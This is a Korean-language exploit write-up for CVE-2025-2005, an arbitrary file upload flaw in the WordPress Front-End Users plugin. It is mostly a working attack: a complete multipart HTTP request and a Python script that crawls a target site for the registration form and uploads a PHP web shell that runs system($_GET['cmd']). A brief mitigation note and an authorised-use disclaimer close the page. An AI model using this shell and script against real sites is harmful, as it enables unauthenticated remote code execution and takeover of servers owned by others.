
CVE-2025-2005에 대한 개념 증명 익스플로잇입니다. WordPress Front-End Users Plugin (<=3.2.32)의 임의 파일 업로드 취약점을 이용합니다. 인증되지 않은 등록 양식에 PHP 웹 셸을 업로드하기 위한 수동 HTTP 및 Python 익스플로잇 스크립트를 포함합니다.
By h4ckxel
이 익스플로잇은 플러그인의 등록 양식에서 파일 업로드 검증이 부족하여 발생합니다. 확장자 필터, 인증 확인, 파일 유형 정화가 없습니다. 공격자는 multipart/form-data 요청을 모든 등록 양식에 보내고 사용자 정의 필드(예: xxploit)에 악성 .php 파일을 밀어넣을 수 있습니다.
업로드된 파일은 wp-content/uploads/ewd_feup_uploads/에 임의의 해시 이름으로 저장되지만, 디렉터리에서 PHP가 활성화된 경우 계속 실행 가능합니다.
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-action"
register
------WebKitFormBoundary
Content-Disposition: form-data; name="Username"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="xxploit"; filename="shell.php"
Content-Type: application/x-php
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
------WebKitFormBoundary--
파일은 다음에 저장됩니다:
/wp-content/uploads/ewd_feup_uploads/[HASH_ALEATORIO].php
파일 이름은 변경되지만 수동으로 또는 스캐너로 찾을 수 있습니다.
import requests
from bs4 import BeautifulSoup
import argparse
from urllib.parse import urljoin
requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False
parser = argparse.ArgumentParser(description="Upload shell to vulnerable WordPress Front-End Users Plugin")
parser.add_argument("--url", "-u", required=True, help="URL base del sitio target (ej. http://site.com/)")
parser.add_argument("--newuser", "-nu", required=True, help="Usuario para registrar")
parser.add_argument("--newpassword", "-np", required=True, help="Password del nuevo usuario")
args = parser.parse_args()
base_url = args.url.rstrip("/")
username = args.newuser
password = args.newpassword
print(f"[*] Scaneando: {base_url}")
try:
response = session.get(base_url, timeout=10)
soup = BeautifulSoup(response.text, 'html.parser')
except Exception as e:
print("[-] Error al acceder al sitio.")
exit()
page_links = {urljoin(base_url, a['href']) for a in soup.find_all("a", href=True)}
print(f"[*] {len(page_links)} páginas encontradas...")
registration_url = None
for link in page_links:
try:
page = session.get(link, timeout=10)
if "ewd-feup-register-form" in page.text:
registration_url = link
print(f"[+] Form de registro encontrado en: {registration_url}")
break
except:
continue
if not registration_url:
print("[-] No se encontró el form automáticamente. Intenta manualmente con --url.")
exit()
shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"
data = {
'ewd-feup-action': 'register',
'Username': username,
'User_Password': password,
'Confirm_User_Password': password,
'Register_Submit': 'Register'
}
files = {'file': ('shell.php', shell_content, 'application/x-php')}
print("[*] Subiendo shell a:", registration_url)
upload_response = session.post(registration_url, data=data, files=files)
if upload_response.status_code == 200:
print("[+] Upload completado.")
else:
print("[-] Falló la subida.")
플러그인을 최신 안전 버전(존재하는 경우)으로 업데이트하거나, 패치가 없으면 임시로 비활성화합니다. 추가로:
wp-content/uploads/에서 PHP 실행 차단.이 PoC는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. lamer가 되지 말고 책임감 있게 사용하며, 허가된 환경에서만 사용하세요.